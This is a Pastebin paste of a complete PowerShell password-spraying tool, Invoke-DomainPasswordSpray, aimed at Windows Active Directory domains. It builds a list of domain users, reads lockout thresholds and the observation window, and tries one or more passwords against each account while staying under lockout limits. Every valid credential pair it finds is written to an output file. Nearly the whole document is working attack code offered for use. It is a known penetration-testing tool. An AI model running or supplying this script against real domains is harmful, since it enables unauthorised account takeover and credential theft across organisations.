Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function Invoke-DomainPasswordSpray{
- <#
- .SYNOPSIS
- This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts.
- DomainPasswordSpray Function: Invoke-DomainPasswordSpray
- Author: Beau Bullock (@dafthack) and Brian Fehrman (@fullmetalcache)
- License: BSD 3-Clause
- Required Dependencies: None
- Optional Dependencies: None
- .DESCRIPTION
- This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts.
- .PARAMETER UserList
- Optional UserList parameter. This will be generated automatically if not specified.
- .PARAMETER Password
- A single password that will be used to perform the password spray.
- .PARAMETER PasswordList
- A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts).
- .PARAMETER OutFile
- A file to output the results to.
- .PARAMETER Domain
- The domain to spray against.
- .PARAMETER Force
- Forces the spray to continue and doesn't prompt for confirmation.
- .EXAMPLE
- C:\PS> Invoke-DomainPasswordSpray -Password Winter2016
- Description
- -----------
- This command will automatically generate a list of users from the current user's domain and attempt to authenticate using each username and a password of Winter2016.
- .EXAMPLE
- C:\PS> Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
- Description
- -----------
- This command will use the userlist at users.txt and try to authenticate to the domain "domain-name" using each password in the passlist.txt file one at a time. It will automatically attempt to detect the domain's lockout observation window and restrict sprays to 1 attempt during each window.
- #>
- Param(
- [Parameter(Position = 0, Mandatory = $false)]
- [string]
- $UserList = "",
- [Parameter(Position = 1, Mandatory = $false)]
- [string]
- $Password,
- [Parameter(Position = 2, Mandatory = $false)]
- [string]
- $PasswordList,
- [Parameter(Position = 3, Mandatory = $false)]
- [string]
- $OutFile,
- [Parameter(Position = 4, Mandatory = $false)]
- [string]
- $Domain = "",
- [Parameter(Position = 5, Mandatory = $false)]
- [switch]
- $Force
- )
- if ($Domain -ne "")
- {
- Try
- {
- #Using domain specified with -Domain option
- $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain)
- $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
- $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName
- }
- catch
- {
- Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try again specifying the domain name with the -Domain option."
- break
- }
- }
- else
- {
- Try
- {
- #Trying to use the current user's domain
- $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
- $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName
- }
- catch
- {
- Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try specifying the domain name with the -Domain option."
- break
- }
- }
- if ($UserList -eq "")
- {
- $UserListArray = Get-DomainUserList -Domain $Domain -RemoveDisabled -RemovePotentialLockouts
- }
- else
- {
- #if a Userlist is specified use it and do not check for lockout thresholds
- Write-Host "[*] Using $UserList as userlist to spray with"
- Write-Host -ForegroundColor "yellow" "[*] Warning: Users will not be checked for lockout threshold."
- $UserListArray = @()
- try
- {
- $UserListArray = Get-Content $UserList -ErrorAction stop
- }
- catch [Exception]{
- Write-Host -ForegroundColor "red" "$_.Exception"
- break
- }
- }
- # If a single password is selected do this
- if ($Password)
- {
- #if no force flag is set we will ask if the user is sure they want to spray
- if (!$Force)
- {
- $title = "Confirm Password Spray"
- $message = "Are you sure you want to perform a password spray against " + $UserListArray.count + " accounts?"
- $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", `
- "Attempts to authenticate 1 time per user in the list."
- $no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", `
- "Cancels the password spray."
- $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no)
- $result = $host.ui.PromptForChoice($title, $message, $options, 0)
- switch ($result)
- {
- 0
- {
- $time = Get-Date
- Write-Host -ForegroundColor Yellow "[*] Password spraying has begun. Current time is $($time.ToShortTimeString())"
- Write-Host "[*] This might take a while depending on the total number of users"
- $curr_user = 0
- $count = $UserListArray.count
- ForEach($User in $UserListArray){
- $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain,$User,$Password)
- If ($Domain_check.name -ne $null)
- {
- if ($OutFile -ne "")
- {
- Add-Content $OutFile $User`:$Password
- }
- Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password"
- }
- $curr_user+=1
- Write-Host -nonewline "$curr_user of $count users tested`r"
- }
- Write-Host -ForegroundColor Yellow "[*] Password spraying is complete"
- if ($OutFile -ne "")
- {
- Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile"
- }
- }
- 1 {"Cancelling the password spray."}
- }
- }
- #If the force flag is set don't bother asking if we are sure we want to spray.
- if ($Force)
- {
- $time = Get-Date
- Write-Host -ForegroundColor Yellow "[*] Password spraying has begun. Current time is $($time.ToShortTimeString())"
- Write-Host "[*] This might take a while depending on the total number of users"
- $curr_user = 0
- $count = $UserListArray.count
- ForEach($User in $UserListArray){
- $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain,$User,$Password)
- If ($Domain_check.name -ne $null)
- {
- if ($OutFile -ne "")
- {
- Add-Content $OutFile $User`:$Password
- }
- Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password"
- }
- $curr_user+=1
- Write-Host -nonewline "$curr_user of $count users tested`r"
- }
- Write-Host -ForegroundColor Yellow "[*] Password spraying is complete"
- if ($OutFile -ne "")
- {
- Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile"
- }
- }
- }
- # If a password list is selected do this
- ElseIf($PasswordList){
- $Passwords = Get-Content $PasswordList
- #Get account lockout observation window to avoid running more than 1 password spray per observation window.
- $net_accounts = "cmd.exe /C net accounts /domain"
- $net_accounts_results = Invoke-Expression -Command:$net_accounts
- $stripped_policy = ($net_accounts_results | Where-Object {$_ -like "*Lockout Observation Window*"})
- $stripped_split_a, $stripped_split_b = $stripped_policy.split(':',2)
- $observation_window_no_spaces = $stripped_split_b -Replace '\s+',""
- [int]$observation_window = [convert]::ToInt32($observation_window_no_spaces, 10)
- Write-Host -ForegroundColor Yellow "[*] WARNING - Be very careful not to lock out accounts with the password list option!"
- Write-Host -ForegroundColor Yellow "[*] The domain password policy observation window is set to $observation_window minutes."
- Write-Host "[*] Setting a $observation_window minute wait in between sprays."
- #if no force flag is set we will ask if the user is sure they want to spray
- if (!$Force)
- {
- $title = "Confirm Password Spray"
- $message = "Are you sure you want to perform a password spray against " + $UserListArray.count + " accounts?"
- $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", `
- "Attempts to authenticate 1 time per user in the list for each password in the passwordlist file."
- $no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", `
- "Cancels the password spray."
- $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no)
- $result = $host.ui.PromptForChoice($title, $message, $options, 0)
- switch ($result)
- {
- 0
- {
- Write-Host -ForegroundColor Yellow "[*] Password spraying has begun."
- Write-Host "[*] This might take a while depending on the total number of users"
- ForEach($Password_Item in $Passwords){
- $time = Get-Date
- Write-Host "[*] Now trying password $Password_Item. Current time is $($time.ToShortTimeString())"
- $curr_user = 0
- $count = $UserListArray.count
- ForEach($User in $UserListArray){
- $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain,$User,$Password_Item)
- If ($Domain_check.name -ne $null)
- {
- if ($OutFile -ne "")
- {
- Add-Content $OutFile $User`:$Password_Item
- }
- Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password_Item"
- }
- $curr_user+=1
- Write-Host -nonewline "$curr_user of $count users tested`r"
- }
- Countdown-Timer -Seconds (60*$observation_window)
- }
- Write-Host -ForegroundColor Yellow "[*] Password spraying is complete"
- if ($OutFile -ne "")
- {
- Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile"
- }
- }
- 1 {"Cancelling the password spray."}
- }
- }
- #if the force flag is set we will not bother asking about proceeding with password spray.
- if($Force)
- {
- Write-Host -ForegroundColor Yellow "[*] Password spraying has begun."
- Write-Host "[*] This might take a while depending on the total number of users"
- ForEach($Password_Item in $Passwords){
- $time = Get-Date
- Write-Host "[*] Now trying password $Password_Item. Current time is $($time.ToShortTimeString())"
- $curr_user = 0
- $count = $UserListArray.count
- ForEach($User in $UserListArray){
- $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain,$User,$Password_Item)
- If ($Domain_check.name -ne $null)
- {
- if ($OutFile -ne "")
- {
- Add-Content $OutFile $User`:$Password_Item
- }
- Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password_Item"
- }
- $curr_user+=1
- Write-Host -nonewline "$curr_user of $count users tested`r"
- }
- Countdown-Timer -Seconds (60*$observation_window)
- }
- Write-Host -ForegroundColor Yellow "[*] Password spraying is complete"
- if ($OutFile -ne "")
- {
- Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile"
- }
- }
- }
- Else{
- Write-Host -ForegroundColor Red "The -Password or -PasswordList option must be specified"
- break
- }
- }
- Function Countdown-Timer
- {
- Param(
- $Seconds = 1800,
- $Message = "[*] Pausing to avoid account lockout."
- )
- ForEach ($Count in (1..$Seconds))
- { Write-Progress -Id 1 -Activity $Message -Status "Waiting for $($Seconds/60) minutes. $($Seconds - $Count) seconds remaining" -PercentComplete (($Count / $Seconds) * 100)
- Start-Sleep -Seconds 1
- }
- Write-Progress -Id 1 -Activity $Message -Status "Completed" -PercentComplete 100 -Completed
- }
- Function Get-DomainUserList{
- <#
- .SYNOPSIS
- This module gathers a userlist from the domain.
- DomainPasswordSpray Function: Get-DomainUserList
- Author: Beau Bullock (@dafthack)
- License: BSD 3-Clause
- Required Dependencies: None
- Optional Dependencies: None
- .DESCRIPTION
- This module gathers a userlist from the domain.
- .PARAMETER Domain
- The domain to spray against.
- .PARAMETER RemoveDisabled
- Attempts to remove disabled accounts from the userlist. (Credit to Sally Vandeven (@sallyvdv))
- .PARAMETER RemovePotentialLockouts
- Removes accounts within 1 attempt of locking out.
- .EXAMPLE
- C:\PS> Get-DomainUserList
- Description
- -----------
- This command will gather a userlist from the domain including all samAccountType "805306368".
- .EXAMPLE
- C:\PS> Get-DomainUserList -Domain domainname -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt
- Description
- -----------
- This command will gather a userlist from the domain "domainname" including any accounts that are not disabled and are not close to locking out. It will write them to a file at "userlist.txt"
- #>
- Param(
- [Parameter(Position = 0, Mandatory = $false)]
- [string]
- $Domain = "",
- [Parameter(Position = 1, Mandatory = $false)]
- [switch]
- $RemoveDisabled,
- [Parameter(Position = 2, Mandatory = $false)]
- [switch]
- $RemovePotentialLockouts
- )
- if ($Domain -ne "")
- {
- Try
- {
- #Using domain specified with -Domain option
- $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain)
- $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
- $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName
- }
- catch
- {
- Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try again specifying the domain name with the -Domain option."
- break
- }
- }
- else
- {
- Try
- {
- #Trying to use the current user's domain
- $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
- $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName
- }
- catch
- {
- Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try specifying the domain name with the -Domain option."
- break
- }
- }
- #Setting the current domain's account lockout threshold
- $objDeDomain = [ADSI] "LDAP://$($DomainObject.PDCRoleOwner)"
- $AccountLockoutThresholds = @()
- $AccountLockoutThresholds += $objDeDomain.Properties.lockoutthreshold
- #Getting the AD behavior version to determine if fine-grained password policies are possible
- $behaviorversion = [int] $objDeDomain.Properties['msds-behavior-version'].item(0)
- if ($behaviorversion -ge 3)
- {
- #Determine if there are any fine-grained password policies
- Write-Host "[*] Current domain is compatible with Fine-Grained Password Policy."
- $ADSearcher = New-Object System.DirectoryServices.DirectorySearcher
- $ADSearcher.SearchRoot = $objDeDomain
- $ADSearcher.Filter = "(objectclass=msDS-PasswordSettings)"
- $PSOs = $ADSearcher.FindAll()
- if ( $PSOs.count -gt 0)
- {
- Write-Host -foregroundcolor "yellow" ("[*] A total of " + $PSOs.count + " Fine-Grained Password policies were found.`r`n")
- foreach($entry in $PSOs)
- {
- #Selecting the lockout threshold, min pwd length, and which groups the fine-grained password policy applies to
- $PSOFineGrainedPolicy = $entry | Select-Object -ExpandProperty Properties
- $PSOPolicyName = $PSOFineGrainedPolicy.name
- $PSOLockoutThreshold = $PSOFineGrainedPolicy.'msds-lockoutthreshold'
- $PSOAppliesTo = $PSOFineGrainedPolicy.'msds-psoappliesto'
- $PSOMinPwdLength = $PSOFineGrainedPolicy.'msds-minimumpasswordlength'
- #adding lockout threshold to array for use later to determine which is the lowest.
- $AccountLockoutThresholds += $PSOLockoutThreshold
- Write-Host "[*] Fine-Grained Password Policy titled: $PSOPolicyName has a Lockout Threshold of $PSOLockoutThreshold attempts, minimum password length of $PSOMinPwdLength chars, and applies to $PSOAppliesTo.`r`n"
- }
- }
- }
- #Get account lockout observation window to avoid running more than 1 password spray per observation window.
- $net_accounts = "cmd.exe /C net accounts /domain"
- $net_accounts_results = Invoke-Expression -Command:$net_accounts
- $stripped_policy = ($net_accounts_results | Where-Object {$_ -like "*Lockout Observation Window*"})
- $stripped_split_a, $stripped_split_b = $stripped_policy.split(':',2)
- $observation_window_no_spaces = $stripped_split_b -Replace '\s+',""
- [int]$observation_window = [convert]::ToInt32($observation_window_no_spaces, 10)
- #Generate a userlist from the domain
- #Selecting the lowest account lockout threshold in the domain to avoid locking out any accounts.
- [int]$SmallestLockoutThreshold = $AccountLockoutThresholds | sort | Select -First 1
- Write-Host -ForegroundColor "yellow" "[*] Now creating a list of users to spray..."
- if ($SmallestLockoutThreshold -eq "0")
- {
- Write-Host -ForegroundColor "Yellow" "[*] There appears to be no lockout policy."
- }
- else
- {
- Write-Host -ForegroundColor "Yellow" "[*] The smallest lockout threshold discovered in the domain is $SmallestLockoutThreshold login attempts."
- }
- $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$CurrentDomain)
- $DirEntry = New-Object System.DirectoryServices.DirectoryEntry
- $UserSearcher.SearchRoot = $DirEntry
- $UserSearcher.PropertiesToLoad.Add("samaccountname") > $Null
- $UserSearcher.PropertiesToLoad.Add("badpwdcount") > $Null
- $UserSearcher.PropertiesToLoad.Add("badpasswordtime") > $Null
- If ($RemoveDisabled){
- Write-Host -ForegroundColor "yellow" "[*] Removing disabled users from list."
- # more precise LDAP filter UAC check for users that are disabled (Joff Thyer)
- $UserSearcher.filter = "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2))"
- }
- else
- {
- $UserSearcher.filter = "(&(objectCategory=person)(objectClass=user))"
- }
- # grab batches of 1000 in results
- $UserSearcher.PageSize = 1000
- $AllUserObjects = $UserSearcher.FindAll()
- Write-Host -ForegroundColor "yellow" ("[*] There are " + $AllUserObjects.count + " total users found.")
- $UserListArray = @()
- If ($RemovePotentialLockouts)
- {
- Write-Host -ForegroundColor "yellow" "[*] Removing users within 1 attempt of locking out from list."
- Foreach ($user in $AllUserObjects)
- {
- #Getting bad password counts and lst bad password time for each user
- $badcount = $user.Properties.badpwdcount
- $samaccountname = $user.Properties.samaccountname
- try
- {
- $badpasswordtime = $user.Properties.badpasswordtime[0]
- }
- catch
- {
- continue
- }
- $currenttime = Get-Date
- $lastbadpwd = [DateTime]::FromFileTime($badpasswordtime)
- $timedifference = ($currenttime - $lastbadpwd).TotalMinutes
- if ($badcount)
- {
- [int]$userbadcount = [convert]::ToInt32($badcount, 10)
- $attemptsuntillockout = $SmallestLockoutThreshold - $userbadcount
- #if there is more than 1 attempt left before a user locks out or if the time since the last failed login is greater than the domain observation window add user to spray list
- if (($timedifference -gt $observation_window) -Or ($attemptsuntillockout -gt 1))
- {
- $UserListArray += $samaccountname
- }
- }
- }
- }
- else
- {
- Foreach ($user in $AllUserObjects)
- {
- $samaccountname = $user.Properties.samaccountname
- $UserListArray += $samaccountname
- }
- }
- Write-Host -foregroundcolor "yellow" ("[*] Created a userlist containing " + $UserListArray.count + " users gathered from the current user's domain")
- return $UserListArray
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement